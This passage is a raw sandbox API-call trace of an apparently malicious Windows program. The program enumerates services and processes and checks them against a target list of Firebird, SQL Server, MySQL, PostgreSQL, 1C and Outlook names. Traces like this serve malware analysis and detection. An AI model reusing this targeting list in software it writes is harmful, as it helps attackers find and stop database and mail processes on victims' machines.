(lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0051.109] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0051.109] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0051.109] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0051.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0051.110] lstrlenW (lpString="Schedule") returned 8 [0051.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0051.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0051.110] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0051.110] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0051.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0051.110] lstrlenW (lpString="SENS") returned 4 [0051.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0051.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0051.110] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0051.110] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0051.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0051.110] lstrlenW (lpString="ShellHWDetection") returned 16 [0051.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0051.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0051.110] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0051.110] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0051.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0051.110] lstrlenW (lpString="Spooler") returned 7 [0051.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0051.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0051.110] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0051.110] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0051.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0051.110] lstrlenW (lpString="swprv") returned 5 [0051.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0051.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0051.110] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0051.110] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0051.110] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0051.110] lstrlenW (lpString="SysMain") returned 7 [0051.110] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0051.110] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0051.110] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0051.110] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0051.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0051.111] lstrlenW (lpString="Themes") returned 6 [0051.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0051.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0051.111] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0051.111] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0051.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0051.111] lstrlenW (lpString="TrkWks") returned 6 [0051.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0051.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0051.111] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0051.111] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0051.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0051.111] lstrlenW (lpString="UxSms") returned 5 [0051.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0051.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0051.111] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0051.111] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0051.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0051.111] lstrlenW (lpString="VSS") returned 3 [0051.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0051.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0051.111] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0051.111] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0051.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0051.111] lstrlenW (lpString="WdiServiceHost") returned 14 [0051.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0051.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0051.111] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0051.111] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0051.111] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0051.111] lstrlenW (lpString="WdiSystemHost") returned 13 [0051.111] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0051.111] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0051.111] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0051.111] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0051.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0051.112] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0051.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0051.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0051.112] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0051.112] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0051.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0051.112] lstrlenW (lpString="Winmgmt") returned 7 [0051.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0051.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0051.112] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0051.112] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0051.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0051.112] lstrlenW (lpString="WPDBusEnum") returned 10 [0051.112] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0051.112] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0051.112] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0051.112] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0051.112] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0051.112] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x63e068 | out: hHeap=0x5f0000) returned 1 [0051.112] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x17c [0051.114] Process32FirstW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0051.115] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0051.115] lstrlenW (lpString="System") returned 6 [0051.115] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0051.115] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0051.115] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0051.115] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0051.116] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0051.116] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0051.116] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0051.116] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0051.116] lstrlenW (lpString="smss.exe") returned 8 [0051.116] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0051.116] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0051.116] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0051.116] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0051.116] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0051.116] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0051.116] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0051.116] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.117] lstrlenW (lpString="csrss.exe") returned 9 [0051.117] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0051.117] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0051.117] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0051.117] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0051.117] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0051.117] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0051.117] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0051.117] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0051.118] lstrlenW (lpString="wininit.exe") returned 11 [0051.118] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0051.118] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0051.118] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0051.118] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0051.119] lstrlenW (lpString="csrss.exe") returned 9 [0051.119] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0051.119] lstrlenW (lpString="winlogon.exe") returned 12 [0051.119] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0051.120] lstrlenW (lpString="services.exe") returned 12 [0051.120] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0051.121] lstrlenW (lpString="lsass.exe") returned 9 [0051.121] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0051.122] lstrlenW (lpString="lsm.exe") returned 7 [0051.122] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.123] lstrlenW (lpString="svchost.exe") returned 11 [0051.123] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.123] lstrlenW (lpString="svchost.exe") returned 11 [0051.123] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.124] lstrlenW (lpString="svchost.exe") returned 11 [0051.124] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.126] lstrlenW (lpString="svchost.exe") returned 11 [0051.126] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.127] lstrlenW (lpString="svchost.exe") returned 11 [0051.127] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0051.128] lstrlenW (lpString="audiodg.exe") returned 11 [0051.128] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.151] lstrlenW (lpString="svchost.exe") returned 11 [0051.151] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.152] lstrlenW (lpString="svchost.exe") returned 11 [0051.152] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0051.153] lstrlenW (lpString="dwm.exe") returned 7 [0051.153] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0051.154] lstrlenW (lpString="explorer.exe") returned 12 [0051.154] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0051.154] lstrlenW (lpString="spoolsv.exe") returned 11 [0051.154] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.155] lstrlenW (lpString="taskhost.exe") returned 12 [0051.155] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0051.156] lstrlenW (lpString="svchost.exe") returned 11 [0051.156] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0051.156] lstrlenW (lpString="taskeng.exe") returned 11 [0051.156] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0051.157] lstrlenW (lpString="taskhost.exe") returned 12 [0051.157] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0051.159] lstrlenW (lpString="obligations-breath.exe") returned 22 [0051.162] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0051.163] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0051.163] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0051.163] lstrlenW (lpString="achieving.exe") returned 13 [0051.163] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0051.164] lstrlenW (lpString="venice.exe") returned 10 [0051.164] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0051.165] lstrlenW (lpString="owns.exe") returned 8 [0051.165] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0051.165] lstrlenW (lpString="faster momentum.exe") returned 19 [0051.165] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0051.166] lstrlenW (lpString="vital_reasons.exe") returned 17 [0051.166] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0051.167] lstrlenW (lpString="everyone.exe") returned 12 [0051.167] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0051.167] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0051.167] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0051.230] lstrlenW (lpString="bored_excluded.exe") returned 18 [0051.230] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0051.231] lstrlenW (lpString="mothers.exe") returned 11 [0051.231] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0051.232] lstrlenW (lpString="career-fed.exe") returned 14 [0051.232] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0051.233] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0051.233] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0051.248] lstrlenW (lpString="initial_utilization.exe") returned 23 [0051.248] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0051.249] lstrlenW (lpString="cf-represent.exe") returned 16 [0051.249] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0051.250] lstrlenW (lpString="tue.exe") returned 7 [0051.250] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0051.251] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0051.251] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0051.252] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0051.252] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0051.253] lstrlenW (lpString="stuff_event.exe") returned 15 [0051.253] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0051.254] lstrlenW (lpString="keywords-copies.exe") returned 19 [0051.254] Process32NextW (in: hSnapshot=0x17c, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0051.255] lstrlenW (lpString="lap.exe") returned 7 [0051.255] Process32NextW (in: hSnapshot=0x17c, 